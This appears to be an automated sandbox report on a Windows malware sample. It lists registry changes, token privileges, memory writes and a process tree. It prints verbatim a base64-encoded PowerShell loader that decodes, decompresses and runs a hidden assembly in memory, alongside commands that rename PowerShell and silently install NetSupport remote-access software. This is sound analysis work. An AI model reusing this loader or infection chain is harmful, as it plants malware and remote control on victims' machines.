\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ico client32.exe Key created \REGISTRY\USER\.DEFAULT\Software cscript.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\SourceList\Media\1 = "DISK1;1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\Shell\Play msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib\Version = "1.0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Control MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\ProxyStubClsid32 MsiExec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mpegfile\shell\show\command MSI3BDE.tmp Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Insertable msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\DefaultIcon\ = "C:\\Program Files (x86)\\NetSupport\\NetSupport Manager\\PCIVideo.exe,1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer.1\ = "IconViewer Class" MsiExec.exe Key created \REGISTRY\MACHINE\Software\Classes\.rpf msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\86386BBC7677FFC43B5E124188437620\InstalledByMSI = "CommonFiles" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib\ = "{C58E5039-E78C-441D-AA62-383AD6F38FC8}" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\TypeLib\{C58E5039-E78C-441D-AA62-383AD6F38FC8}\1.0 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WMVFile\shell\show\ = "&Show with NetSupport School" MSI3BDE.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ProgID MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\VersionIndependentProgID MsiExec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\Version = "235536387" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2C61D9FBB5C49E141B2D086B0653E432\86386BBC7677FFC43B5E124188437620 msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings Pyyidau.vbs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer\CLSID msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\Shell\Play\Command\ = "\"C:\\Program Files (x86)\\NetSupport\\NetSupport Manager\\client32.exe\" /r\"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\ProxyStubClsid32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib\ = "{C58E5039-E78C-441D-AA62-383AD6F38FC8}" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ToolboxBitmap32\ = "C:\\PROGRA~2\\NETSUP~1\\NETSUP~1\\ICOVIE~1.DLL, 101" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\TypeLib msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32\ThreadingModel = "Apartment" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\86386BBC7677FFC43B5E124188437620\CommonFiles = "NSM" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\MiscStatus\ = "0" MsiExec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32\InprocServer32 = 41002700360050006a00530043005200680040004c005a007e004f0029004e00460060006a00210043006c00690065006e0074003e0027007300430050006200280031004a007b00380068007a004400660043004f006d0030006b00240000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WMVFile\shell\show\command\ = "\"C:\\Program Files (x86)\\NetSupport\\NetSupport Manager\\pcinssui.exe\" /ShowVideo \"%L\"" MSI3BDE.tmp Key created \REGISTRY\MACHINE\Software\Classes\NSReplayFile\Shell msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ProgID MsiExec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ToolboxBitmap32 MsiExec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32 MsiExec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ProgID\ = "IcoViewer.IconViewer.1" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Programmable msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Version\ = "1.0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\TypeLib\{C58E5039-E78C-441D-AA62-383AD6F38FC8}\1.0\0\win32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\NSReplayFile\Shell\Play\Command msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Programmable MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Insertable MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\TypeLib MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\ASFFile\shell MSI3BDE.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WMVFile\shell\show MSI3BDE.tmp Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Control msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\MiscStatus\1 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\movfile\shell MSI3BDE.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WMVFile\shell MSI3BDE.tmp Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer.1\CLSID\ = "{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Programmable MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\86386BBC7677FFC43B5E124188437620 msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3752 client32.exe -
Suspicious behavior: EnumeratesProcesses 44 IoCs
pid Process 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 4864 Pyyidau.vbs.exe 3268 msiexec.exe 3268 msiexec.exe 2444 MSI3BDE.tmp 2444 MSI3BDE.tmp 2444 MSI3BDE.tmp 2444 MSI3BDE.tmp 1324 client32.exe 1324 client32.exe 3752 client32.exe 3752 client32.exe 3752 client32.exe 3752 client32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4864 Pyyidau.vbs.exe Token: SeDebugPrivilege 4864 Pyyidau.vbs.exe Token: SeShutdownPrivilege 3296 msiexec.exe Token: SeIncreaseQuotaPrivilege 3296 msiexec.exe Token: SeSecurityPrivilege 3268 msiexec.exe Token: SeCreateTokenPrivilege 3296 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3296 msiexec.exe Token: SeLockMemoryPrivilege 3296 msiexec.exe Token: SeIncreaseQuotaPrivilege 3296 msiexec.exe Token: SeMachineAccountPrivilege 3296 msiexec.exe Token: SeTcbPrivilege 3296 msiexec.exe Token: SeSecurityPrivilege 3296 msiexec.exe Token: SeTakeOwnershipPrivilege 3296 msiexec.exe Token: SeLoadDriverPrivilege 3296 msiexec.exe Token: SeSystemProfilePrivilege 3296 msiexec.exe Token: SeSystemtimePrivilege 3296 msiexec.exe Token: SeProfSingleProcessPrivilege 3296 msiexec.exe Token: SeIncBasePriorityPrivilege 3296 msiexec.exe Token: SeCreatePagefilePrivilege 3296 msiexec.exe Token: SeCreatePermanentPrivilege 3296 msiexec.exe Token: SeBackupPrivilege 3296 msiexec.exe Token: SeRestorePrivilege 3296 msiexec.exe Token: SeShutdownPrivilege 3296 msiexec.exe Token: SeDebugPrivilege 3296 msiexec.exe Token: SeAuditPrivilege 3296 msiexec.exe Token: SeSystemEnvironmentPrivilege 3296 msiexec.exe Token: SeChangeNotifyPrivilege 3296 msiexec.exe Token: SeRemoteShutdownPrivilege 3296 msiexec.exe Token: SeUndockPrivilege 3296 msiexec.exe Token: SeSyncAgentPrivilege 3296 msiexec.exe Token: SeEnableDelegationPrivilege 3296 msiexec.exe Token: SeManageVolumePrivilege 3296 msiexec.exe Token: SeImpersonatePrivilege 3296 msiexec.exe Token: SeCreateGlobalPrivilege 3296 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe Token: SeRestorePrivilege 3268 msiexec.exe Token: SeTakeOwnershipPrivilege 3268 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3752 client32.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1060 wrote to memory of 4864 1060 WScript.exe 80 PID 1060 wrote to memory of 4864 1060 WScript.exe 80 PID 1060 wrote to memory of 4864 1060 WScript.exe 80 PID 4864 wrote to memory of 3788 4864 Pyyidau.vbs.exe 82 PID 4864 wrote to memory of 3788 4864 Pyyidau.vbs.exe 82 PID 4864 wrote to memory of 3788 4864 Pyyidau.vbs.exe 82 PID 4864 wrote to memory of 1352 4864 Pyyidau.vbs.exe 83 PID 4864 wrote to memory of 1352 4864 Pyyidau.vbs.exe 83 PID 4864 wrote to memory of 1352 4864 Pyyidau.vbs.exe 83 PID 4864 wrote to memory of 1352 4864 Pyyidau.vbs.exe 83 PID 4864 wrote to memory of 1352 4864 Pyyidau.vbs.exe 83 PID 4864 wrote to memory of 1352 4864 Pyyidau.vbs.exe 83 PID 4864 wrote to memory of 1352 4864 Pyyidau.vbs.exe 83 PID 4864 wrote to memory of 4260 4864 Pyyidau.vbs.exe 84 PID 4864 wrote to memory of 4260 4864 Pyyidau.vbs.exe 84 PID 4864 wrote to memory of 4260 4864 Pyyidau.vbs.exe 84 PID 4864 wrote to memory of 4260 4864 Pyyidau.vbs.exe 84 PID 4864 wrote to memory of 4260 4864 Pyyidau.vbs.exe 84 PID 4864 wrote to memory of 4260 4864 Pyyidau.vbs.exe 84 PID 4864 wrote to memory of 4260 4864 Pyyidau.vbs.exe 84 PID 4864 wrote to memory of 2828 4864 Pyyidau.vbs.exe 85 PID 4864 wrote to memory of 2828 4864 Pyyidau.vbs.exe 85 PID 4864 wrote to memory of 2828 4864 Pyyidau.vbs.exe 85 PID 4864 wrote to memory of 2828 4864 Pyyidau.vbs.exe 85 PID 4864 wrote to memory of 2828 4864 Pyyidau.vbs.exe 85 PID 4864 wrote to memory of 2828 4864 Pyyidau.vbs.exe 85 PID 4864 wrote to memory of 2828 4864 Pyyidau.vbs.exe 85 PID 4864 wrote to memory of 2640 4864 Pyyidau.vbs.exe 86 PID 4864 wrote to memory of 2640 4864 Pyyidau.vbs.exe 86 PID 4864 wrote to memory of 2640 4864 Pyyidau.vbs.exe 86 PID 4864 wrote to memory of 2640 4864 Pyyidau.vbs.exe 86 PID 4864 wrote to memory of 2640 4864 Pyyidau.vbs.exe 86 PID 4864 wrote to memory of 2640 4864 Pyyidau.vbs.exe 86 PID 4864 wrote to memory of 2640 4864 Pyyidau.vbs.exe 86 PID 4864 wrote to memory of 3076 4864 Pyyidau.vbs.exe 87 PID 4864 wrote to memory of 3076 4864 Pyyidau.vbs.exe 87 PID 4864 wrote to memory of 3076 4864 Pyyidau.vbs.exe 87 PID 4864 wrote to memory of 3076 4864 Pyyidau.vbs.exe 87 PID 4864 wrote to memory of 3076 4864 Pyyidau.vbs.exe 87 PID 4864 wrote to memory of 3076 4864 Pyyidau.vbs.exe 87 PID 4864 wrote to memory of 3076 4864 Pyyidau.vbs.exe 87 PID 4864 wrote to memory of 1376 4864 Pyyidau.vbs.exe 88 PID 4864 wrote to memory of 1376 4864 Pyyidau.vbs.exe 88 PID 4864 wrote to memory of 1376 4864 Pyyidau.vbs.exe 88 PID 4864 wrote to memory of 1376 4864 Pyyidau.vbs.exe 88 PID 4864 wrote to memory of 1376 4864 Pyyidau.vbs.exe 88 PID 4864 wrote to memory of 1376 4864 Pyyidau.vbs.exe 88 PID 4864 wrote to memory of 1376 4864 Pyyidau.vbs.exe 88 PID 4864 wrote to memory of 460 4864 Pyyidau.vbs.exe 89 PID 4864 wrote to memory of 460 4864 Pyyidau.vbs.exe 89 PID 4864 wrote to memory of 460 4864 Pyyidau.vbs.exe 89 PID 4864 wrote to memory of 460 4864 Pyyidau.vbs.exe 89 PID 4864 wrote to memory of 460 4864 Pyyidau.vbs.exe 89 PID 4864 wrote to memory of 460 4864 Pyyidau.vbs.exe 89 PID 4864 wrote to memory of 460 4864 Pyyidau.vbs.exe 89 PID 4864 wrote to memory of 3804 4864 Pyyidau.vbs.exe 90 PID 4864 wrote to memory of 3804 4864 Pyyidau.vbs.exe 90 PID 4864 wrote to memory of 3804 4864 Pyyidau.vbs.exe 90 PID 4864 wrote to memory of 3804 4864 Pyyidau.vbs.exe 90 PID 4864 wrote to memory of 3804 4864 Pyyidau.vbs.exe 90 PID 4864 wrote to memory of 3804 4864 Pyyidau.vbs.exe 90 PID 4864 wrote to memory of 3804 4864 Pyyidau.vbs.exe 90 PID 4864 wrote to memory of 4356 4864 Pyyidau.vbs.exe 91 PID 4864 wrote to memory of 4356 4864 Pyyidau.vbs.exe 91 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3800 attrib.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3344
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe"C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe" -enc JABBAHEAdwB3AHMAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQAuAFIAZQBwAGwAYQBjAGUAKAAnAC4AZQB4AGUAJwAsACcAJwApADsAJABHAHkAaQBlAHAAZwBrAHcAdgByACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAQQBxAHcAdwBzAGMAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAWABzAGwAbQB3AG0AbwBxAGcAawB6ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEcAeQBpAGUAcABnAGsAdwB2AHIALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEkAdwBxAGIAdwBjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABYAHMAbABtAHcAbQBvAHEAZwBrAHoAIAApADsAJABFAG0AYgBtAGUAcwBqAHMAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUgB3AHAAdQB4AHcAYQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABJAHcAcQBiAHcAYwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAUgB3AHAAdQB4AHcAYQAuAEMAbwBwAHkAVABvACgAIAAkAEUAbQBiAG0AZQBzAGoAcwBsACAAKQA7ACQAUgB3AHAAdQB4AHcAYQAuAEMAbABvAHMAZQAoACkAOwAkAEkAdwBxAGIAdwBjAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAWABzAGwAbQB3AG0AbwBxAGcAawB6ACAAPQAgACQARQBtAGIAbQBlAHMAagBzAGwALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFgAcwBsAG0AdwBtAG8AcQBnAGsAegApADsAIAAkAE4AZgBrAGYAZwB0AHQAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABoAHIAZQBhAGQAaQBuAGcALgBUAGgAcgBlAGEAZABdADoAOgBHAGUAdABEAG8AbQBhAGkAbgAoACkALgBMAG8AYQBkACgAJABYAHMAbABtAHcAbQBvAHEAZwBrAHoAKQA7ACAAJABBAHYAZgBuAHgAdQBrAG4AcgBtAG0AIAA9ACAAJABOAGYAawBmAGcAdAB0AHIALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABBAHYAZgBuAHgAdQBrAG4AcgBtAG0ALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEEAdgBmAG4AeAB1AGsAbgByAG0AbQAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\50d669f573135aafd57c..vbs"4⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:3788 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\vrep.msi" /quiet5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3296
-
-
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:1352
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:4260
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:2828
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:2640
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:3076
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:1376
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:460
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:3804
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:4356
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:1568
-
-
C:\Windows\system32\cmd.execmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe" /Y1⤵
- Process spawned unexpected child process
PID:2432
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3268 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 67E1FEB4F75930E9DEA292C435887B1A2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4776
-
-
C:\Windows\system32\cmd.execmd.exe /c ATTRIB -R "C:\Users\Admin\AppData\Local\Temp\{CBB68368-7767-4CFF-B3E5-211488346702}\\nsm.lic"2⤵PID:3468
-
